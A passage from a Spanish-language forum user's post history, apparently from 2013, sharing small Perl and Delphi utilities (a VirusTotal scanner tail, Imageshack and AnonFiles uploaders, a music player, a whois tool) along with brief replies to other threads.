                "text", "5", "5" );
        }
    }

    printear( "\n[+] Finished\n", "text", "7", "5" );
    copyright();

}

sub head {
    printear( "\n-- == VirusTotal Scanner 0.1 == --\n", "text", "13", "5" );
}

sub copyright {
    printear( "\n[+] Written By Doddy H", "text", "13", "5" );
    exit(1);
}

sub printear {
    if ( $_[1] eq "text" ) {
        cprint( "\x03" . $_[2] . $_[0] . "\x030\n" );
    }
    elsif ( $_[1] eq "stdin" ) {
        if ( $_[3] ne "" ) {
            cprint( "\x03" . $_[2] . $_[0] . "\x030" . "\x03" . $_[3] );
            my $op = <stdin>;
            chomp $op;
            cprint("\x030");
            return $op;
        }
    }
    else {
        print "error\n";
    }
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

#The End ?
#294
Perl / Re:[Perl]Desofuscador de Batchs
Mayo 15, 2013, 07:22:21 PM
buen code bro , deberias agregarle el "#usr/bin/perl" al inicio del codigo.
#295
Perl / [Perl] Imageshack Uploader 0.1
Mayo 14, 2013, 03:11:38 PM
Un simple script para subir imagenes a Imageshack.

El codigo :

Código: perl

#!usr/bin/perl
#Imageshack Uploader 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();

unless ( $ARGV[0] ) {
    print "\n[+] Sintax : $0 <image>\n";
}
else {

    my $your_key = "YOURKEY";    #Your API Key

    print "\n[+] Uploading ...\n";

    my $code = $nave->post(
        "https://post.imageshack.us/upload_api.php",
        Content_Type => "form-data",
        Content      => [
            key        => $your_key,
            fileupload => [ $ARGV[0] ],
            format     => "json"
        ]
    )->content;

    if ( $code =~ /"image_link":"(.*?)"/ ) {
        print "\n[+] Link : " . $1 . "\n";
    }
    else {
        print "\n[-] Error\n";
    }
}

copyright();

sub head {
    print "\n-- == Imageshack Uploader 0.1 == --\n";
}

sub copyright {
    print "\n[+] Written By Doddy H\n";
}

#The End ?
#296
Perl / [Perl] AnonFiles Uploader
Mayo 13, 2013, 07:13:19 PM
Traduccion a Perl del programa hecho por $DoC llamado You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login hecho para subir archivos a la pagina AnonFiles.

Código: perl

#!usr/bin/perl
#AnonFiles Uploader
#Original author: $ DoC
#Translations made by Doddy H
#
#ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd
#

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

unless ( $ARGV[0] ) {
    print "\n[+] Sintax : $0 <file>\n";
}
else {

    print "\n[+] Uploading ...\n";

    my $code = $nave->post(
        "https://anonfiles.com/api?plain",
        Content_Type => "form-data",
        Content      => [ file => [ $ARGV[0] ] ]
    )->content;

    if ( $code =~ /https:\/\/anonfiles\.com\/file\// ) {
        print "\n[+] Link : " . $code . "\n";
    }
    else {
        print "\n[-] Error\n";
    }

}

#The End ?

#297
Delphi / [Delphi] DH Player 0.1
Mayo 13, 2013, 06:36:05 PM
Un simple reproductor de musica que hice basado en este You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Una imagen :



El codigo :

Código: delphi

// DH Player 0.1
// Coded By Doddy H
// Based on this article : http://delphi.about.com/od/multimedia/l/aa112800a.htm

unit mp3player;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, StdCtrls, sListBox, sSkinManager, MPlayer, sGroupBox, jpeg,
  ExtCtrls, ComCtrls, acProgressBar, Buttons, FileCtrl, sEdit;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox2: TsGroupBox;
    MediaPlayer1: TMediaPlayer;
    Image1: TImage;
    sGroupBox3: TsGroupBox;
    sProgressBar1: TsProgressBar;
    PopupMenu1: TPopupMenu;
    L1: TMenuItem;
    R1: TMenuItem;
    A1: TMenuItem;
    E1: TMenuItem;
    Directory: TsGroupBox;
    sEdit1: TsEdit;
    Timer1: TTimer;
    procedure A1Click(Sender: TObject);
    procedure E1Click(Sender: TObject);
    procedure R1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.A1Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.E1Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sProgressBar1.Max := 0;
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'fm';
  sSkinManager1.Active := True;
end;

procedure TForm1.L1Click(Sender: TObject);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;

begin

  SelectDirectory('Select a folder', '', dir);

  sListBox1.Clear;

  sEdit1.Text := dir;
  cantidad := FindFirst(dir + '/' + '*.*', faAnyFile, search);

  while cantidad = 0 do
  begin
    if FileExists(dir + '/' + search.name) then
    begin
      sListBox1.Items.Add(search.name);
    end;
    cantidad := FindNext(search);
  end;
  FindClose(search);

end;

procedure TForm1.R1Click(Sender: TObject);
begin
  sEdit1.Text := '';
  sProgressBar1.Max := 0;
  sListBox1.Clear;
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin

  sProgressBar1.Max := 0;

  MediaPlayer1.Close;
  MediaPlayer1.FileName := sEdit1.Text + '/' + sListBox1.Items.Strings
    [sListBox1.ItemIndex];
  MediaPlayer1.Open;

  sProgressBar1.Max := MediaPlayer1.Length;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  if sProgressBar1.Max <> 0 then
    sProgressBar1.Position := MediaPlayer1.Position;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#298
Wargames y retos / Re:[RETO]XSS Simple
Mayo 05, 2013, 08:09:23 PM
creo que llegue algo tarde xDD.

#299
Delphi / [Delphi] GetWhois 0.1
Mayo 05, 2013, 01:32:59 PM
Siempre habia querido hacer un programa para hacer un whois en delphi pero en ese entonces no conocia delphi lo suficiente como para poder hacerlo , hoy me tome unos 10 min libres y logre hacer uno , para hacerlo instale indy y escribi unas pocas lineas para hacerlo.

Una imagen :



El codigo (muy corto xD)

Código: delphi

// GetWhois 0.1
// Coded By Doddy H in the year 2013

unit whois;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdWhois, ComCtrls,
  sStatusBar, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    IdWhois1: TIdWhois;
    sStatusBar1: TsStatusBar;
    Image1: TImage;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if sEdit1.text = '' then
  begin
    ShowMessage('Write the domain');
  end
  else
  begin
    sStatusBar1.Panels[0].text := '[+] Searching ...';
    Form1.sStatusBar1.Update;

    sMemo1.Clear;
    sMemo1.Lines.text := IdWhois1.whois(sEdit1.text);

    sStatusBar1.Panels[0].text := '';
    Form1.sStatusBar1.Update;
  end;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#300
Perl / Re:[Perl/Tk] Autowifi GUI
Abril 25, 2013, 07:18:21 PM
buena bro , ya habia visto la tool en #RE.